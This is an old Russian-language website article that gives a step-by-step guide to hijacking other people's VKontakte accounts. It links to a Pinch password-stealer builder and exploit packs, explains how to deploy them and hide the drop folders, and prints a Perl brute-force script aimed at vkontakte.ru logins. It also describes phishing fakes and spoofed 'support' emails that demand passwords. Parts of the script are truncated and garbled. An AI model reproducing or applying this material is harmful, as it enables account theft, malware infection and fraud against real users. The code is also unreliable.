Форма входа
Ваша реклама




карта сайта

Главная » 2009 » Декабрь » 25 » Как взломать Контакт.
20:47
Как взломать Контакт.
Как взломать Контакт

В данной статье, попытаюсь рассказать о возможных способах взлома анкет "ВКонтакте".

Итак, что же нам потребуется:

Умение настраивать пинч (если это у вас уже получилось, то остальные 2 требования можно не смотреть)

Прямые руки и хотя бы капелька мозга!

1 Способ - Взлом мыла:
Если мы его знаем то уже все проще, ведь имеется как минимум 15 методов взлома почты. Но есть и один минус, если пароль "корявый", он разумеется надежный, но с его восстановлением проблемы, когда такой высылают на почту, то он принимает "левый" вид, и соответственно не работает. Не в этом суть, поэтому останавливаться не будем.

2 Способ - Фейк:
Достаточно простой способ, кидаем ссылку жертве любым способом(ася, через лс и тд), скачать его можно по этой ссылке.

3 Способ - Троян:
Этот способ мы разберём по пунктам:

а) Скинуть "чистый" файл, либо ссылку на загрузку трояна, но тут еще надо чтобы пользователь его запустил. http://slil.ru/25774480 - здесь лежит билдер пинча, а здесь парсер http://slil.ru/25774491 , если вы захотите чтобы отчеты шли на гейт - вот подходящий от Генома - http://slil.ru/25774495

б) Кейлогер - менее полезный, но если жертва его "словит", и вы покопаетесь (причем очень долго) с отчетом, то пароль получите 100%

в) Сплоит, тут ничего сложного нету, НО ЕСТЬ МИНУС! Паблик сплоиты пробивают в основном, примерно, 6/10.
Советую армитаж (айс пак тоже в теме). Прост в настройке, нужно только создать базу мускуль(делается в пару кликов), и отредактировать файлы (db.php config.php), после того как зальете на хост, выставляем нужные права, на папку load - 777. config.php - 777
Скачать 3 связки можно по ссылке http://slil.ru/25776403 - здесь лежат мпак, айспак и армитаж
Когда будите настраивать пинч, устанавите права на гейт 775, на папку в которую будут идти отчеты - 777, и не забывайте что не надо называть папку с отчетами OtchetyOTpincha, имхо палевно, лучше назовите 404 или еще как, ну чтобы внимания не привлекало. Папку в которой будет лежать сплоит, тоже
переиминуйте на что-нибудь типа myphotos и тд. т.к. люди будут эту ссылку себе в браузер пихать, не нужно что бы там было написанно EXPLOIT - лишнее палево ни к чему.
Идем дальше...
Надеюсь, пинч уже настроен на гейт или почту, желательно что бы он еще и закриптованный был.
Заходим по ссылке на файл install.php нашего сплоита, а потом идем в админку, устанавливаем настройки, выбераем файл который будет грузится жертве, теперь он будет лежать в папке load под именем file.
Кидаем ссылку жертве, и ждем с надеждой на то, что ее пробьет и отчет с заветным паролем придет к нам.

4 Способ - Брутфорс:
Брутфорс, как всем известно - перебор паролей. Способ долгий, и не всегда сработает (нп-р в случае пароля D5&%-AefV)
Для этого брутфорсера нам потребуется активперл скачать мона тут http://download.softportal.com/softw…ctiveperl.html либо по ссылке http://www.denwer.ru/packages/perl.html

Code
#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

open (pass, "create(&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPor t=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0rn”.
"Host: vkontakte.rurn”.
"Accept: */*rn”.
"Content-Type: application/x-www-form-urlencodedrn”.
"User-Agent: Mozillorn”.
"C*****: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5rn”.
"Connection: closernrn”;
$answ = ;
close $sock;
print "$pass $answ”;
if ($answ =~ /302/){
open (good, ‘>>good.txt’);
print good "$id:$pass:$md5n”;
print "$id:$pass:$md5n”;
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

Не забудьте сменить разширение на brut.pl
$dic = ‘passl.txt’; #паслист для брдутфорсера
$id = 1; #айдишник цели(его можно взять из адресной строки когда вы зашли на страницу жертвы)
$mail = ‘мыло’; #мыло, значек @ меняем на %40
$threads = Х; # где Х - количество потоков

Если вам лень копаться со всем этим, то есть неплохой брут на С. Скачать его можно по ссылке http://slil.ru/25774498, сразу говорю, если не запускается - это ваши проблемы, ибо все прекрасно работает!

5 Способ
Самый надежный способ, открываем исходник нашего фейка, закидываем в него наш код ******
Теперь, когда жертва перейдет на нашу ссылку, мы увеличиваем вероятность того, что юзера пробьет, либо через браузер, либо через тупость, т.к. теперь у нас на ссылке комбинированная атака на мозг (фейк) и браузер (код ******).

6 Способ:
Довольно известный, здесь нужно поискать сайты на которых сидит жертва (форумы, почта и пр) и попытаться похекать что-то из вышеперечисленного, авось найдем старый заброшенный пароль, а он подойдет.

7 Способ:
Как обычно СИ, пробуем отправить письмо от адресата durov@vkontakte.ru или support@vkontakte.ru с текстом типа, ваша страница на сайте vkontakte.ru будет заблокированна через N дней, если вы не подтвердите какую-нить хрень, методом отправки нам пароля.

Или, можно прислать письмо типа, вам пришло личное сообщение/открытка и т.п., от такого-то пользователя, чтобы ее прочитать перейдите по ссылке, а ссылка будет вести на наш фейк.

Чтобы отправить письмо с "левого" адреса, нужен какой-нить майлер, например, этот http://softnic.ru/soft/programm_4223.html, либо любой подходящий для вас из гугла.

Только не забудьте зарегить себе не привлекающее мыло, похожее на суппортское, и вписать его в поле копия. (чтобы пароли пришли именно вам на почту).

Снифер, тут лучше отправлять его на почту (если мы знаем мыло), тогда без лишних проблем сможем перехватить сессию, и с помощью системы восстановления пароля на сайте вконтакте получить письмо с паролем.
http://forum.antichat.ru/showthread.php?p=457280

Есть сниферы и получше, но они платные, все же тема распространена, в гуле можно ввсести запрос на php снифер и найти много полезной инфы.

8 Способ - ХSS:
Паблик дырок на этом сайте нету, так что кража кукисов маловероятна, хотя если очень долго подождать, то можно и дождаться паблик уязвимости - но
такой подход к делу бредовый, поэтому останавливаться на нем не будем.

9 Способ - Самый простой:
Единственное что от вас требуется - уметь работать с платежными системами и иметь деньги. Просто закажите взлом если вам не помог ни один из вышеперечисленных пунктов, может найдется умелец который сломает неприступную жертву. Поискать такогого можно здесь - http://www.hackzone.ru/forum/list/fid/23/ или здесь http://www.hackzone.ru/forum/list/fid/4/
Но перед тем как задать вопрос воспользуйтесь полезными ссылками:
google.ru
http://www.poiskinfo.net/stat/st1.php
http://segfault.kiev.ua/smart-questions-ru.html
http://penguin.kurgan.ru/doc/Perl/perlfaq1.htm
Ну и на последок - googleforidiots.com

На этом все, надеюсь вам не было скучно при чтении этой статьи.

Просмотров: 1414 | Добавил: -=O3L=- | Теги: Как взломать Контакт. | Рейтинг: 0.0/0
Всего комментариев: 2
03.10.2012
2. TaidaySidoHob [Материал]
Недавно прочитал пост об http://www.russian-files.ru/load/kinoteatr/teleserial_realnye_pacany/realnye_pacany_20_serija_onlajn/199-1-0-4058 - скачать Реальные пацаны 20 серия

25.12.2009
1. Райтер (-=O3L=-) [Материал]
dry Норм

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск
Наш опрос
Сколько вы раз бываете на сайте?
javascript:; javascript:;
Всего ответов: 124

Статистика

Онлайн всего: 8
Гостей: 8
Пользователей: 0
  • Продажа Dedicated Server, Дедики от Amazon не брут, гарантия (0)
  • Новый Топ пользователей с аватарами для Ucoz (0)
  • Простой и красивый вид формы опроса (0)
  • Красивый информер "кто нас сегодня посетил" для Ucoz (0)
  • Flash радио для сайта (0)
  • Новый информер комментарии для ucoz как на Dle (0)
  • Голубая кнопка вверх для Ucoz (0)
  • Статистика кто посетил в красивом стиле для uCoz (0)
  • статистика CW (0)
  • Всплывающий мини-чат в углу сайта + красивый вид (0)
  • Обновленная статистика для Ucoz (0)
  • Сегодня нас посетили XX юзеров (0)
  • Скрипт "сегодня были пользователи" для uCoz (0)
  • Меню сайта для темных дизайнов (0)
  • Котёнок для сайта - скрипт для укоз (0)
  • Новый мини чат (0)
  • Состав клана - победы поражения для ucoz (0)
  • Форма входа CSS3 & HTML5 (0)
  • TRANCE РАДИО (0)
  • Мини-профиль (0)
  • Темный мини-чат для uCoz (0)
  • Новый отличный поск по сайту (0)
  • Красивое меню для сайта Ucoz (0)
  • Скрипт последних комментариев на сайте для юкоз (0)
  • календарь для сайта в стиле сталкер (0)
  • Часы для cs (0)
  • Заявки на участие. (5)
  • Теги (6)
  • Ваши работы на компютере. (8)
  • История граффити. (5)
  • Ваши принодлежности для граффити. (1)
  • Обсуждаем какое слово будем использовать в батлах. (2)
  • Граффити на транспорте. (8)
  • Реклама (У нас на сайте!) (0)
  • Какой icq клиент лучше? (1)
  • Можно ли заработать в интернете? (1)
  • Какой антивирус лучше? (1)
  • Красивое светлое меню! (0)
  • Горизонтальное меню!(Голубой цвет) (0)
  • Популярность!****** (0)
  • Любимые грууппы. (3)
  • Баги. (1)
  • Заявки на участие. (1)
  • Стартовал одиночный МС баттл "Skam battle"!!! (0)
  • Всем, кому нужны рэп минусовки! (0)
  • Ваши любимые анекдоты:) (1)
  • 1 мц батл (0)
  • ОтБоР нА БаТл!!!СрОкИ дО 25 АвГуСтА 2009 (0)
  • ОтБоР нА БаТл!!!СрОкИ дО 25 АвГуСтА 2009 (0)
  • 1 neoff battle (0)
  • Вопросы. (3)
  • Скеитчи. (4)
  • Что вам нравится на huligan-life.ucoz.ua ? (3)
  • Ваши работы на стенах. (2)
  • Beef (4)
  • Откуда узнали? (1)
  • Флудильня (3)
  • ВИДЫ РИФМ. (0)
  • Кто лутше ? (1)
  • Домашняя студия звукозаписи. (0)
  • Текста админов. (11)
  • Здоровый образ жизни. (7)
  • Заявки на участие. (1)
  • Трафареты. (2)
  • Ваши работы. (0)
  • Стрит-арт (8)
  • Ваши самоделки для граффити. (1)
  • Стикеры, Постеры (0)
  • Заявки на участие. (0)
  • Заявки на участие. (0)
  • Информация. (0)
  • Сдаем работы. (0)
  • Заявки на участие. (0)
  • Скетчи,куски,флопы и т.д. (0)


  • huligan-life © 2024